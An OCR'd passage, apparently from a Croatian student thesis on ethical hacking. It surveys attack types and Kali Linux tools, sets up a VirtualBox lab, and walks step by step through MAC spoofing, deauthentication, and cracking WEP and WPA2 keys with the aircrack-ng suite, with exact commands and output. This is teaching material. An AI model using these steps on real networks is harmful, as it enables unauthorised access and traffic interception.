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o The attacker injects a payload
in the website's database
with malicious JavaScript that
steals cookies.

o The website transmits the
victim's browser the page
with the attacker's payload.
The victim's browser executes
the malicious script.

Website

o The attacker extracts
victim's cookie, after which

he use it for session hijacking.
S O
) S (T
Attacker Website Visitor

o Attacker discovers a website o After script execution victim
for having script injection sends his cookie to the attacker.
vulnerabilities.

Slika 4. Shema XSS napada, Izvor: http://tiny.cc/xw3fnz

Kako bi se zastitili od XSS napada programeri moraju sanirati podatke koje korisnici
(potencijalni napadaci) unose u HTTP zahtjev prije vratanja odgovora. Potrebno je
napraviti provjere upita koje korisnici unose, npr. filtrirati unos specijalnih znakova (?,
&, I, <, > i razmaka) kako ne bi doslo do jednostavnog manipuliranja podacima.

Korisnicima je potrebno pruziti opciju isklju€ivanja skripti na klijentskoj strani.
8. Eavesdropping attack

Radi se 0 mreznom napadu u kojem napadac prisluskuje mrezni promet koji se odvija
i dohvaca pakete. Napadac moze prikupiti lozinke, brojeve kartica i povjerljive podatke

koje klijent (korisnik) Salje preko mreze. Postoje dva nacina prisluskivanja [6]:

= pasivni — prikupljanje informacija tako da napadac prikuplja mrezni promet i ne
mijenja tok poruka (paketa).
= aktivni — napadac prenosi, reproducira stare ili modificira poruke u prijenosu

poruka (paketa) — vidi MitM attack.
Zastita od ovakvih napada obicno je obavljena kriptiranjem podataka paketa.
9. Birthday attack

Radi se o napadima protiv hash algoritama koji se koriste za provjeru integriteta
poruke, softvera ili digitalnog potpisa. Hash funkcija kao ulazni parametar prima
varijabilni niz znakova (poruku) i kao izlaz proizvodi jedinstveni niz znakova fiksne

duljine. Birthday attack odnosi se na vjerojatnost pronalaska dviju nasumicnih poruka

17



koje proizvode isti izlaz koristeéi hash funkciju. Ako napadac dobije isti izlaz poruke

kao i izlaz originalne poruke primatelj nece biti u stanju prepoznati razliku. [6]
10.Malware attack

Kao $to je ranije spomenuto, malware je zlocudan oblik softvera koji je instaliran na

racunalo mete bez njenog znanja. Postoji viSe vrsta malwarea [6]:

= macro virus — virus koji zarazi program (npr. Word, Excel.) ili dokument, ovakav
virus pokrecu svoje instrukcije kada se zarazena datoteka otvori prije pokretanja
same aplikacije.

= file infector — virus koji se vezu na izvrdnu (.exe) datoteku, virus je instaliran
kada je datoteka otvorena.

= system or boot-record infector — virus koji se dodaje MBR-u (eng. Master Boot
Record) na vanjskoj memoriji raCunala. Kada se sustav pokrene pokrece se i
virus u memoriji, virus se zatim moze prosSiriti na druge diskove i racunala.

= polymorphic virus — virus koji se skriva tako da koristi polymorphic engine kako
mutirao tako da se izvorni kod prilikom svakog pokretanja mijenja, originalna
logika izvornog koda ostaje ista. Payload je u ovom slucaju kriptiran, a kako bi
payload prilikom pokretanja funkcionirao funkcija za dekriptiranje dekriptira
payload. Kriptiranje i dekriptiranje se mijenja svakom kopijom koda rezultirajuci
istom funkcionalnosti payloada, a s drukcijim potpisom datoteke.

= stealth virus — virus koji se prikrivaju na razne nacine, koristenjem sistemskih
funkcija, prikrivaju se u memoriji, mijenjaju svojstva datoteke $to zna rezultirati
izbjegavanjem antiviruse detekcije.

» |ogic bomb — malware koji se pokre¢e kada se desi nekakav predefinirani
dogadaj (eng. event). Postoje vremenske bombe koje se pokre¢u na odredeni
datum u odredenom vremenu, te one koje se pokrecu kada je korisnik ucinio
nekakvu akciju — dogadaj kojeg je napadac specificirao.

= dropper — program koji se koristi za instaliranje virusa na racunalo, taj program
obi¢no nije zaraZen i moZe uspostaviti konekciju na Internet te preuzeti
azuriranja za antivirusne programe instalirane na ra¢unalu.

= adware — softver kojeg tvrtke koriste u marketinske svrhe, prikazuju reklame i

skocCne prozore tijekom izvodenja bilo kojeg programa.
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= gspyware — vrsta malwarea koja se koristi za prikupljanje korisni¢kih podataka,
njihovih raCunala i navika. Prati korisnika bez njegovog znanja i Salje podatke
napadacu.

= worm — samostalni programi koji se Sire putem mreza i racunala, obi¢no putem
privitaka emaila koji se njegovim otvaranjem Siri na kontakte zarazenog
korisnika Sto se kasnije moze iskoristiti za DDos napad.

= trojan — skriva se u korisnikovom programu, koristi se za napad na sustav i moze
kreirati backdoor kojem napadacu daje kontrolu i moze izvrSiti napad.

= ransomware — malware koji obi¢no kriptira korisnikove podatke, a za njihovo
dekriptiranje trazi nov€ani iznos. Obi¢no nakon isplacivanja iznosa datoteke se
otklju¢aju, a u nekim slu€ajevima ostaju zaklju¢ane i njihov oporavak gotovo

nemoguc¢ bez klju€a za dekriptiranje.

Kako bi se zastitili od napada malwarea potrebno je antivirusne programe drzati
azuriranima, ne preporucuje se otvaranje sumnjivih datoteka ili web stranica. Datoteke
je najsigurnije otvoriti u sigurnosnom okruzenju (eng. sandobox) kako ne bi nastetili

racunalu.
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4.3. Kali Linux softverski alati koristeni u praktichom djelu

Kali Linux distribucija je Linuxa bazirana na Debianu, koristi se za penetracijsko
testiranje i dolazi s instaliranim softverskim alatima kojima se hakeri sluze kako bi
obavili penetracijsko testiranje i pregledali sigurnost. U nastavku ukratko ¢emo opisati
alate koji Ce biti koristeni za provodenje serverskih i klijentskih napada. Za opise alata

koriStena je stranica dokumentacije [7].

Metasploit je framework koji sluzi za penetracijsko testiranje mete. Sadrzi veliki broj
exploita za pronadene ranjivosti i nudi moguénost kreiranja vlastitin exploita. Nakon
odabira exploita odabiremo payload koji ¢emo koristiti. Osnovne naredbe koje mozemo

koristiti od Metasploit-a su sljedece:

e msfconsole — pokre¢e metasploit program

e show [rijec] — rije¢ je ovdje zamjenjena sa exploits, payloads, auxiliaries ili
options

e use [rijeC] — rijeC je ovdje zamjenjena sa odredenim nazivom exploita, payloada
ili auxiliarya

e set [opcija] [vrijednost] — postavljamo opciju na neku vrijednost

e exploit — pokrece exploit

Nexpose je framework koji otkriva, procjenjuje i djeluje na ranjivosti. Mapira ranjivosti
zajedno sa postojecim exploitima koji su negdje objavljeni. Sli¢an alat kao i Metasploit

s vec¢im opsegom skeniranja te nam olakSava kreiranje izvje$ca.

Veil je framework koji generira payload tipa meterpreter, tj, ,straznja vrata“ (eng.
backdoor) koja nisu prepoznatljiva od strane antivirusnih programa. Koristi razne
postavke koje se mogu mijenjati kako bi lakSe zaobisli antivirusne programe. Takav

generirani payload moze koristit Metasploit framework.

Bettercap je alat koji sluzi za skeniranje, analizu, snimanje i izvrS8avanje MITM (eng.
Man in the middle) napada na mrezi. Sastoji se od ukupno 24 modula (opcija) koje se

mogu podesSavati ovisno i zeljenim funkcionalnostima.

EvilGrade je framework koji se sastoji od ukupno 67 modula i sluZi za umetanje laznih

azuriranja unutar programa koji je instaliran na racunalu mete.
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BackdoorFactoryProxy alat koji u datoteku sa .exe ekstenzijom umece i Zeljenu
datoteku (moramo izvr$iti MITM napad i konfigurirati tcp promet prema njemu kako bi

alat bio funkcionalan).

Maltego je alat koji se koristi za prikupljanje informacija nekog entiteta, npr. web
stranica, tvrtka, osoba, brojev telefona i sl. Takoder alat prepoznaje racune koji su

povezani s metom, prikazuje informacije na grafu.

BeEF (eng. Browser Explotation Framework) je alat koji sluzi za penetracijsko
testiranje, iskoriStavanje ranjivosti pretrazivaca tako da ubacuje javascript maliciozni
kod (nakon ucitavanja hook.js skripte). Spada u kategoriju klijentskih napada i napada
pretrazivaCe koje su instalirani na racunalu mete. Nakon sto meta ucita maliciozni kod
ona je ,uhvacena“ (eng. hooked) te nam alat pruZa pokretanje raznih napada (modula)

na metu.

Airodump-ng alat (eng. packet sniffer) koji omogucava ,hvatanje“ paketa dok se
Wireless adapter nalazi u monitor modu. Prikazuje sve Wireless mreze koje su u
rasponu i prikazuje njihove detaljne informacije (MAC adresu, kanal, enkripciju, klijente

povezane).

Nmap/Zenmap (eng. Network Mapper) je alat koji sluZi za testiranje sigurnosti mreza.
Skenira otvorene portove na racunalu koje omogucuju hakeru mogucnost ulaska.
Nmap koristi IP pakete na razne nacine i pruza nam informacije kao Sto su operacijski
sustav uredaja, tip uredaja (mobitel, laptop ili ruter), programe sa verzijama (servise)
koji su pokrenuti na pronadenim uredajima i konfiguraciju vatrozida. [7] Takoder nudi

GUI (eng. Graphical User Interface) verziju Zenmap.
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5. Provodenje metoda u kontroliranom okruzenju —
prakticni dio

Kako bi proveli prakti¢ni dio, potrebno je kreirati kontrolirano okruzenje
(laboratorij). Laboratorij je potreban hakerima kako bi testirali napade koji se nece
prosiriti izvan kontroliranog okruzenja. Laboratorij se obi¢no sastoji od nekoliko
raCunala s razliitim operacijskim sustavima i mreza ako testiramo mrezno hakiranje.

Ako testiramo sigurnost web aplikacija tada te aplikacije ,instaliramo“ na tim

racunalima. Prakti¢ni dio rada popracen je uz te€aj dostupan na Udemy-u [8].
5.1. Postavljanje laboratorija

Za postavljanje laboratorija koristit cemo VirtualBox koji nam pruza mogucnost

instalacije vise operacijskih sustava na jedno racunalo.

Unutar VirtualBox-a kreirat cemo 3 virtualna racunala na kojima je instalirano sljedece:

s Kali Linux
% Windows 10
% Metasploitable

X/
*

Nakon preuzimanja instalacijskih paketa potrebno ih je dodati u VirtualBox. U nastavku
¢emo prikazati kako se instalira Kali Linux (Windows 10 i Metasploitable instaliraju se
na isti nacin). Nakon §to smo preuzeli Kali Linux za VirtualBox instaliramo ga,

dvostrukim klikom na preuzetu datoteku, odaberemo ,uvezi®.

Uvozi Virtualni Aparat

Postavke aparata

Ovo su virtualne masine sadrZane u aparatu i preporugene postavke uvozenih VirtualBox masina. MoZete promijeniti
mnogo postavki pokazanih dvostrukim klikom na stavke i onemoguciti druge koristedi potvrdne okvire ispod.

Virt G
!" Uvozim Aparat ..: Importing appliance 'C;/Users/root/Downloads/kali-linux-2...

Importing virtual disk image 'Kali-Linux-2020.1-vbox-amd6é4-disk001.vmdk' ... (2/3)

‘A . o X

Preostalo vrijeme: 4 minute

verzE T (EUZ0 T XU

) Opis Kali Rolling (2020.1) x64... v

i) i

i

Machine Base Folder: ‘ C:\Users\root\VirtualBox VMs ~

MAC Address Policy:  Include only NAT network adapter MAC addresses -
Additienal Options: Import hard drives as VDI

Aparat nije potpisan

Vrati na Zadane Vrijednosti Uvozi QOdustani

Slika 5. Uvoz Kali Linux, lzvor: Izrada autora
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Potrebno je podesiti dodatne postavke kako bi osposobili mrezni adapter da je

pricvrS¢en na NAT. U postavkama Virtual Box-a odaberemo Mreza i kliknemo na plus

i kliknemo ,U redu” (slika 6).

\/ VirtualBox - Moguénosti

B opce Mreza

Unos NAT Mreze

Aktivna Naziv

== AZuriranje
- NatNetwork

i/ Jezik

- Prikaz

g
HES

fies)
L")

| U redu || Odustani |

Slika 6. Postavke Nat mreze unutar VirtualBoxa, Izvor: Izrada autora

Nakon $to smo dodali NAT network, otvorimo postavke Kali Linux masine, kliknemo

na mrezu i odaberemo prethodno kreirani ,NatNetwork® (slika 7).

\._,f Kali-Linux-2020.7-vbox-amd64 - Postavke

;y Serijski Prikljuéci
LY use
Dijeljene Mape

IE_ Korisnicko Sucelje

B opce Mreza
B | Sustav Adapter 1 Adapter 2 Adapter 3
M ericez Omagoéu Mrezni Adapter

Pri€vriéenc na: | NAT MreZa
o/ Pohrana

Naziv: |NatNetwork

({ﬁ Zuuk I Napredno
ﬂ MreZa

Slika 7. Postavke Nat mreze za Kali Linux, Izvor: Izrada autora

Ove postavke kreiraju virtualnu mrezu. Nase racunalo (eng. host) ponasa se kao ruter,

a sve virtualne masine (Kali Linux, Windows 10, Metasploitable) koje dodajemo su

klijenti. Virtualne masine sad mogu komunicirati zajedno i imaju konekciju na Internet

(kao da su povezane Zi¢ano).

Prijavimo se u trenutnu verziju Kali Linuxa 2020.1 s korisnickim imenom i lozinkom

.kali“, ako se radi o prethodnim verzijama korisni¢ko ime je ,root, a lozinka je ,toor".
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Ako smo prethodne korake obavili to¢no Kali je sada spojen zicano na nase racunalo

(eng. Wired connection — Ethernet network).

Napraviti cemo snimku zaslona (eng. snapshot) koji nam sluzi za spremanje stanja
virtualne masine. U slu¢aju da smo napravili greSku, moZzemo se vratiti na spremljeno
stanje. Pored virtualne masine koju smo kreirali kliknemo na padajuci izbornik i
odaberemo ,Snimci“, nakon toga na gumb ,Napravi“ (slika 8). Nakon toga unesemo

naziv i opis snimke kako bi znali u kojem je stanju virtualna masina (slika 9).

N Oracle VM VirtualBox Upravitelj

Datoteka Masina Snapshot Pomoé
Y Tools lQ L{ lhe‘i
Juu o o
Napravi Delete  Restore  Properties
-~ = | Details
! e

l_k} Logs

Slika 8. Snimka trenutnog stanja virtualne masine, Izvor: Izrada autora

V¢ Napravi Snimak Virtualne Magine ? X

?—\ Naziv Snimka
./ ‘In‘ln’jalnr.\ stanje ‘

Opis Snimka

Inicijano stanje, bez azuriranja.|

Odustani Pomo¢

Slika 9. Dodavanje snimke virtualne masine, Izvor: Izrada autora

Kako u trenutnoj verziji ne bi morali pisati ,sudo® naredbu i Zelimo imati sva prava

mozemo zadati lozinku ,root” korisniku (slika 10).

:~%$ sudo su
root@kali:/home/kali# passwd root

New password:
Retype new password:
passwd: password updated successfully

Slika 10. Dodavanije lozinke root korisniku, Izvor: Izrada autora
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5.2. Mrezno hakiranje

U ovom poglavlju pokazat ¢emo nacine mreznog hakiranja, obradit ¢emo ftri

poglavlja:

1. Predkonekcijski napadi mreze
2. Dobivanje pristupa mreze

3. Napadi nakon stjecanja konekcije nad mrezom

Mreza se sastoji od skupa klijenata koji su medusobno spojeni kako bi dijelili podatke,
resurse preko Interneta. Konekcija se uspostavlja zi¢ano ili preko WiFi-a konekcijom

na server — ruter/pristupnu to¢ku.

Pogledajmo sliku 11, pristupna to€ka jedina ima pristup resursima, svi klijenti mogu
doci do resursa konekcijom na pristupnu to¢ku. Recimo da klijent Zeli posjetiti stranicu
(google.com) taj zahtjev se Salje pristupnoj tocci koji se potom prosljeduje na Internet.
Odgovor se prenosi s Interneta na pristupnu to€ku koja prosljeduje odgovor klijentu i
stranica se prikaZe na njegovom pregledniku. Podaci zahtjeva i odgovora su u obliku
paketa koji se prenose, pa tako ako smo spojeni na istu pristupnu to€ku kao i ostali
klijenti mozemo ,uhvatiti i analizirati te pakete. Takoder ako se radi o WiFi mrezama

paketi se Salju zrakom, te se mogu ,uhvatiti iako oni nemaju naSu MAC adresu.

E] Request

Resources
ui e.g. Internet

Access Point

A——

E]I Reauest
——— /|
r 4

’-q—Respuu

Client 3
Slika 11. Opceniti prikaz mreze, Izvor: I1zrada autora

Dolazimo do pojma MAC adrese (eng. Media Access Control) koja je stalna, fizicka i
jedinstvena adresa koja je dodijeljena mreznim suceljima (bilo koji uredaj koji nam

omogucuje konekciju na mrezu). IP adresa koristi se za identificiranje raCunala i
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komuniciranje racunala na Internetu, dok se MAC adresa koristi u mrezi kako bi se
identificirali uredaji i prenosili podaci izmedu uredaja.

Svaki paket unutar mreze sadrzi izvoriSnu i odrediSnu MAC adresu, pa tako paket
putuje od izvoriSne do odrediSne MAC adrese. Kako bi promijenili MAC adresu
mreznog sucelja (u terminalu nazvana — eng. ether) u npr. 00:11:22:33:44:55 koristimo
naredbe koje su prikazane na slici 12. Naredba ifconfig wlanO down sluzZi da
deaktiviramo Wireless adapter kako bi mogli mijenjati njegove postavke. Kada je
adapter deaktiviran naredbom ifconfig wlan0O hw ether <MAC_adresa:
00:11:22:33:44:55> mijenjamo njegovu MAC adresu u navedenu. Nakon toga

aktiviramo Wireless adapter koristeci naredbu ifconfig wlanO up.

wlan@: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
ether 80:41:7a:d4:4b:11 txqueuelen 1880 (Ethernet)
RX packets @ bytes @ (0.0 B)
RX errors @ dropped @ overruns @ frame @
TX packets @ bytes @ (6.8 B)

TX errors @ dropped @ overruns @ carrier @ collisions @

rootgkali:~# ifconfig wlan@ down
rootgkali:~# ifconfig wlan® hw ether @@:11:22:33:44:55
root@kali:~# ifconfig wlan® up

Slika 12. Promjena MAC adrese, lzvor: Izrada autora

Ako se MAC adresa ponovno sama vrata na staru (zbog network-managera),
potrebno je promijeniti konfiguracijsku datoteku NetworkManager.conf na slici 13 i
ponovno ga pokrenuti koriStenjem naredbe service network-manager restart. Kasnije

ponovimo postupak kao na slici 12.

NetworkManagerconf @ ® @

File Edit Search Options Help
[main]
plugins=ifupdown, keyfile

[ifupdown]
managed=Tfalse

[device]
wifi.scan-rand-mac-address=no

[connection]
ethernet.cloned-mac-address=preserve
wifi.cloned-mac-address=preserve

Slika 13. NetworkManager.conf — izmjena konfiguracije, Izvor: Izrada autora

Mijenjanjem MAC adrese dolazimo do povecanja anonimnosti na mrezi, prolazimo
fillere MAC adresa i sli€no. Valja napomenuti da ¢e se njena vrijednost koriStenjem
naredbi kao na slici 12 promijeniti samo u memoriji. Kada ponovno upalimo racunalo

MAC adresa se vraca na njenu izvornu adresu.
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5.2.1. Predkonekcijski napadi

Za napade na WiFi mreze (dobivanje lozinke mreZe ovisno o njenoj zastiti)
potreban nam je USB Wireless adapter koji podrzava stanja ,monitor mode“ i ,packet

injection®, za razliku od ve¢ ugradene WiFi kartice nemaju tu mogucnost.

Wireless adapter izvorno je podeSen da radi u ,Managed“ modu, tj. ,lovi“ pakete koji
imaju odrediSnu MAC adresu kao i MAC adresu tog uredaja. Kako bi ,uhvatili sve
pakete koji se Salju u okolini Wireless adapter podesimo da radi u ,Monitor® modu
(slika 14). U monitor modu ne moramo imati konekciju s Internetom. Kao i prethodno
koristimo naredbu ifconfig wlanO down sluzi da deaktiviramo Wireless adapter kako bi
mogli mijenjati njegove postavke. Naredbu airmon-ng check kill koristimo kako bi
deaktivirali sve procese koji bi mogli ometati koriStenje Wireless adaptera u monitor
mode-u. Promijenimo mode u monitor koriste¢i naredbu iwconfig wlanO mode monitor

i aktiviramo ga koristeci naredbu ifconfig wlanO up.

rootgkali:~# ifconfig wlan® down
root@kali:~# airmon-ng check kill

Killing these processes:

PID Name
594 wpa_supplicant

root@kali:~# iwconfig wlan@® mode monitor

rootgkali:~# ifconfig wlan® up

rootakali:~# iwconfig

wlan@ IEEE 802.11 Mode:Monitor Frequency:2.412 GHz Tx-Power=2@ dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off

Slika 14. Wireless adapter — promjena u Monitor mode, lzvor: Izrada autora

Kako bi ,snimili“ pakete u monitor modu potreban nam je packet sniffing program,
koristit ¢emo Airodump-ng. Airodump-ng prikazati ¢e okolne WiFi mreze, za
pokretanje alata pokrenemo naredbu airodump-ng wlan0 (wlan0O — Wireless adapter u

monitor modu), rezultati skeniranja prikazani su na slici 15.

PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

-50 188 566 17 1 130 WPA2 CCMP  PSK Loading...

Slika 15. Airodump-ng — rezultati skeniranja, lzvor: Izrada autora

Ako rezultati ne pronalaze Zeljenu mrezu moguce je da mreza radi na drugoj frekvenciji

(5Ghz) — tada moramo nadodati parametar --band a u prethodno koriStenu naredbu.
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Nakon Sto smo dohvatili okolne WiFi mreze i njene informacije, potrebno je dohvatiti
viSe informacija o zeljenoj mrezi koristeéi njenu MAC adresu (BSSID). Kako bi dohvatili
vise informacija o Zeljenoj mrezZi koristimo naredbu airodump-ng -bssid
<BSSID_mreze> --channel <Broj_kanala_mreze> --write test wlanO (MAC adresa,
kanal na kojem se Zele prikupljati podaci, zapis u datoteku ,test”, WiFi adapter koji je

u monitor modu). Rezultati skeniranja prikazani su na slici 16.

PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

-54 100 409 18 @ 1 130 WPA2 CCMP  PSK Loading.
STATION PWR Rate Lost Frames Notes Probes

-1 le- @
-1 le- @
-1 le- @
-78 le- 1
-54 le- 1le
-81 le- 1

Slika 16. Airodump-ng — rezultati skeniranja Zeljene mreze, Izvor: 1zrada autora

Stupac STATION prikazuje MAC adrese uredaja koji su spojeni na skeniranu mrezu,
buduci da smo koristili parametar --write kreirale su se datoteke kao na slici 17.
13098 Jul 13 12:55 test-01.cap

96@ Jul 13 12:55 test-@l.csv
59@ Jul 13 12:55 test-@1.kismet.csv

7989 Jul 13 12:55 test-081.kismet.netxml
50958 Jul 13 12:55 test-01.log.csv

Slika 17. Airodump-ng — kreirane datoteke, Izvor: Izrada autora

lako smo podatke snimili, podaci su kriptirani (WPA2 enkripcijom) i skeniranjem
pomoc¢u Wiresharka ne mozemo procitati snimljene informacije. U slu¢aju da ne
postoji enkripcija (OPN) mogli bi normalno procitati prikupljene informacije.

Valja napomenuti i predkonekcijski napad za iskljuCivanje klijenta s mreze (eng.
deauthentication attack). Radi se o0 malome napadu koji omogucuje druge napade.
Ideja je da svoju MAC adresu promijenimo u MAC adresu klijenta kojeg Zelimo iskljuditi
s mreze i Saljemo poruku za isklju€ivanje s mreze ruteru. Tada se predstavljamo kao
ruter, promjenom MAC adrese u MAC adresu rutera i Saljemo klijentu poruku odgovora

na zahtjev o iskljucivanju.

Kako bi pokrenuli napad Koristiti cemo alat aireplay-ng, koristimo naredbu aireplay-ng
--deauth <Broj_paketa_za_isklju€ivanje> -a < BSSID_mreze> -c <MAC_Kklijenta>.
Tako smo uspjeSno napravili WPA handshake koji nam je nuZzan za napad na

WPA/WPA2 zasticene mreze.
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5.2.2. Dobivanje pristupa WEP, WPA, WPA2 zasticenim mrezama

U ovom poglavlju baviti ¢emo se dobivanjem pristupa mrezama koje su zasticene
WEP, WPA ili WPA2 enkripcijom.

1. WEP (eng. Wired Equivalent Privacy) je sigurnosni WiFi protokol kojeg mozemo
lako probiti. WEP koristi algoritam RC4 kako bi kriptirao podatke. Kada klijet Zeli poslati
podatke ruteru, kriptira svoje podatke (pakete) koristeCi jedinstveni klju¢. Kriptirani
podaci putuju prema ruteru, koji potom transformira sadrzaj koristeci klju¢. Takoder

vrijedi i za podatke koji putuju od rutera prema klijentu. [11]

Za svaki poslani paket WEP generira jedinstveni klju¢ koriste¢i nasumicni
inicijalizacijski vektor (24 bita). Inicijalizacijski vektor nadodan je na lozinku mreze te
generira eng. ,key stream® koji se koristi za kriptiranje paketa. WEP takoder dodaje
inicijalizacijski vektor na kriptirani paket, koji sluzi ruteru kako bi zajedno s njegovom

lozinkom dekriptirao sadrzaj koristeci eng. ,key stream* kojeg generira. [11]

Problem je $to je inicijalizacijski vektor poslan kao tekst. Takoder inicijalizacijski vektor

ima svega 24 bita $to rezultira ponavljanjem vektora u mrezi koja ima puno prometa.
Kako bi dobili pristup WEP zasti¢enoj mrezi potrebno je:

e snimiti veliki broj paketa (inicijalizacijskih vektora) — koristeci airodump-ng,

e analizirati snimljene inicijalizacijske vektore — koristeéi aircrack-ng

Nakon pronalaska BSSID-a mreze koja koristi WEP zastitu potrebno je snimiti pakete
koristeci naredbu airodump-ng —bssid <BSSID_mreze> --channel
<Broj_kanala_mreze> --write <naziv:basic_wep> wlan0 i pricekamo da broj u stupcu
#data poraste — radi se o korisnim paketima, $to je mreza viSe zauzeta to su vece
Sanse za pronademo klju¢ (dobivamo veci broj inicijalizacijskih vektora). Paketi su
sada snimljeni u datoteci ,basic_wep-01.cap®. Kako bi dobili klju¢ potrebno je koristiti

naredbu aircrack-ng <naziv_cap_datoteke: basic_wep-01.cap>.

KEY FOUND! [ 74:65:73:74:31:32:33:34:35:36:37:38:39 ] (ASCII: test123456789 )

Decrypted correctly: 1080%

Slika 18. Aircrack-ng — pronadena lozinka, lzvor: Izrada autora
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U nekim slucajima necemo dobiti ASCII vrijednost klju€a, no u svakom slu€aju dobiti
¢emo klju¢ prikazan na slici 18 u uglatim zagradama koji mozemo upisati kao lozinku

nakon $to obriSemo dvotocke (ekvivalent heksadecimalnih vrijednosti u ASCII tablici).

U drugom scenariju moze se raditi o0 mrezi na kojoj se ne odvija puno prometa Sto
znacCi da je potrebno puno viSse vremena kako bi prikupili inicijalizacijske vektore.
RjeSenje ovog problema je prisiliti pristupnu toCku da generira nove pakete s
inicijalizacijskim vektorima (izvrsiti eng. ARP request replay napad). Kao i ranije koristit
¢emo airodump-ng za snimanje paketa na mrezi, takoder koristit cemo aireplay-ng
za laznu autentifikaciju klijenta na mrezu (koriste¢i MAC adresu naseg WiFi uredaja).
Stoga pokrenemo naredbu airreplay-ng --fakeauth <broj_autorizacija:0> -a
<BSSID _mreze> -h <MAC_Wifi_adaptera> wlan0. Nakon pokretanja prethodne
naredbe, stupac #auth postavlja se na vrijednost OPN i klijent (s MAC adresom WiFi

adaptera) je sada ,povezan” na mrezu.

Sada je moguce komunicirati sa mrezom te ju prisiliti da generira inicijalizacijske
vektore na nacin da joj Saljemo pakete. Koristimo naredbu slicnu prethodnoj no
koristimo drugu vrstu napada (arpreplay). Izvr§imo sljedecu naredbu airreplay-ng --
arpreplay -b <BSSID_mreze> -h <MAC_Wifi_adaptera> wlan0. Na ovaj nacin WiFi
adapter ¢eka ARP paket, kada je paket prenesen kroz mrezu, adapter ga snimi i
ponovo proslijedi i na taj nadin se prisili mreza da generira nove pakete, a s njima i

inicijalizacijske vektore.

U nastavku ¢emo prikazati na koji na€in mozemo probiti zastitu WPA i WPA2 mreza.

2. WPA i WPA2 (eng. Wi-Fi Protected Access) su sigurnosni WiFi protokoli koji se
koriste u danasnijici i teZe ih je probiti od obicne WEP mrezne zastite. WPA i WPA2 su
slicni samo sto koriste drukcije enkripcije (WPA — TKIP, WPA2 - CCMP). [12]

Za probijanje ovakvih zastita koriste se iste metode. Prethodno koriStena metoda za
napad na WEP ne moZe se iskoristiti jer su WPA i WPAZ2 dizajnirani tako da paketi koji
su poslani zrakom ne sadrze vazne informacije kao prethodno. Jedini paketi koji sadrze
korisne pakete su handshake paketi (4 paketa) koji su izmijenjena izmedu klijenta i
pristupne toCke kada se klijent spaja na mrezu. Kasnije se taj paket moZze koristiti kako

bi provjerili ispravnost (eng. validate) lozinke za spajanje na mrezu.
30



Kao i prethodno za snimanje podataka koristimo naredbu za snimanje paketa
airodump-ng -bssid <BSSID mreze> --channel <Broj_kanala_mreze> --write
<naziv:wpa_handshake> wlanO i u ovom trenutku mozemo pri¢ekati da se neki uredaj
pokusa spojiti na mrezu kako bi snimili handshake. Takoder moZzemo Koristiti ranije
prikazani napad za iskljuCivanje klijenta s mreze (eng. deauthentication attack) u
poglavlju 5.2.1., preporucljivo je koristiti 4 paketa u parametru --deauth kako bi klijenta
iskljuCili s mreze na kratko vrijeme te da se automatski poveze ako bi uhvatili

handshake prilikom konekcije.

Sljededi korak je kreiranje ili preuzimanje datoteke s velikom listom rijeCi (lozinka).
Potrebno je iterirati kroz rijeCi i koristimo ih zajedno s handshakeom kako bi provjerili
ispravnost lozinke. Kreiranje vlastite datoteke s listom rijeCi (lozinka) moze se kreirati

koristec¢i crunch.

Nakon sto smo kreirali ili preuzeli listu rijeci (lozinka) i snimili handshake mozemo
koristiti aircrack-ng kako bi raspakirali handshake i izvukli korisne informacije iz MIC-
a (eng. Message integrity code) kojeg koristi pristupna toCka kako bi provjerila
ispravnost lozinke. Raspakirane informacije se tada kombiniraju zajedno s svakom od

rijeCi iz liste rijeCi (eng. Word list) kako bi se generirao MIC za svaku rije€ posebno.

Generirani MIC se tada usporeduje sa onim iz handshakea sve dok nisu isti.
UspjesSnost ovog napada ovisi o listi rije€i koje su sadrzane u datoteci. Koristimo
naredbu aircrack-ng < naziv_cap_datoteke> -w <naziv_wordlist_datoteke>. Rezultati

pronalaska lozinke prikazani su na slici 19.

[6@:81:33] 336560/16777216 keys tested (3639.94 k/s)

Time left: 1 hour, 15 minutes, 17 seconds

Current passphrase: 12345678
KEY FOUND! [ 12345678 ]

Slika 19. Aircrack-ng — pronadena lozinka koriStenjem liste rijeci, 1zvor: Izrada autora
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5.2.3. Napadi nakon stjecanja konekcije nad mrezom

U ovom poglavlju baviti cemo se napadima koje je moguce izvrsiti nakon Sto
smo uspostavili konekciju nad mrezom. Nakon stjecanja konekcije moguce je prikupiti
detaljnije informacije klijenata koji su spojeni na mrezi; prikupiti podatke koji prolaze
kroz mrezu (korisni¢ka imena, lozinke...), takoder moguce je modificirati podatke koji
se Salju na mrezii slicno. Za izvodenje ovih napada koristiti cemo Windows 10 virtualnu

masinu koja Ce biti spojena na istu mrezu kao i Kali masina.

5.2.3.1. Prikupljanje informacija uredaja spojenih na mrezu

Prvi korak svakog penetracijskog napada je prikupljanje informacija mete. Kako
bi ciljano napali metu potrebno je otkriti sve klijente (uredaje) koji su spojeni na mrezi
odnosno njihovu MAC i IP adresu. Kako bi otkrili klijente spojene na mrezu mozemo
koristiti alat netdiscover ili nmap. Klijenti mogu pristupiti IP adresama klijenata koje
su u istoj podmrezi (od 0 do 254). Kako bi skenirali mrezu koristimo naredbu
netdiscover -r <inet_min: 10.0.2.1>/24 — na ovaj nacin specificirali smo raspon svih IP

adresa podmreze. Na slici 20 prikazani su uredaji spojene izvan NAT mreze.

Currently scanning: Finished! | Screen View: Unique Hosts

11 Captured ARP Req/Rep packets, from &4 hosts. Total size: 542

192.168.1.1 zte corporation

192.168.1.4 HUAWEI TECHNOLOGIES CO.,LTD
192.168.1.2 HUAWEI TECHNOLOGIES CO.,LTD
192.168.1.10 Samsung Electronics Co.,Ltd

Slika 20. Netdiscover — uredaiji spojeni na istoj mrezi, lzvor: Izrada autora

U slu€aju da zelimo prikupiti viSe informacija o uredajima spojenim na mrezu mozemo
koristiti nmap ili zenmap za mrezno mapiranje. Koristiti ¢emo zenmap (eng. GUI
prikaz nmap-a) kojeg pokrecemo upisivanjem naredbe zenmap i biramo profil (eng.

Profile) koji nam odreduje vrstu skeniranja.

Koristiti ¢emo profil ,Quick scan plus” koji ¢ée nam vratiti informacije kao Sto su
operacijski sustav uredaja, tip uredaja (mobitel, laptop ili ruter) i programe sa verzijama
(servise) koji su pokrenuti na pronadenim uredajima. Verzije i programi (servisi) koji su

pokrenuti na uredaju su nam od velikog znaCaja za dobivanje pristupa uredaju.
